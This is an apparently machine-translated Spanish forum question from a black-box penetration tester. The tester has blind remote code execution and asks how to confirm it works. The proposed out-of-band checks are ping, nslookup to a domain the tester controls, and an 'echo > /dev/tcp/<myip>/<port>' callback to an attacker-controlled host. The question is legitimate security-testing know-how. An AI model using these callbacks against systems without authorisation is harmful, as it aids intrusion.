Supongamos la siguiente situación: estás haciendo un pentest de caja negra. Encontró que el cliente ejecuta el software X y X tiene una vulnerabilidad de ejecución remota de código, pero la naturaleza de esta ejecución de código es que stderr y stdout no pueden enviarse de vuelta al atacante. En este sentido, la ejecución funciona pero nunca verás la salida de los comandos que ejecutas.
Para complicar aún más las cosas, supongamos que no puede conocer el sistema operativo (y el software X se ejecuta en todas las plataformas principales).
¿Qué puede hacer para verificar si la ejecución de su código realmente funciona? He descubierto 2 formas de hacerlo, al menos en teoría.
- Ejecutas un
ping <some IP>
donde hay un cuadro bajo tu control. Tendría que modificar la capa de red de esa caja de manera que pueda detectar un ping entrante desde su máquina víctima objetivo. - Ejecutas un
nslookup somename.yourdomain.com
que eres el propietario de yourdomain.com. Nuevamente, el servidor DNS está configurado de manera que se le avisa cuando entra una solicitud de DNS parasomename.yourdomain.com
. - En linux / unix puedo probar
echo sth > /dev/tcp/<myip>/<port>
, esperando que el > El personaje no está saneado en algún lugar en el camino. Y esto no funciona en Windows.
Mi pregunta es: ¿hay formas más fáciles de lograr el mismo objetivo?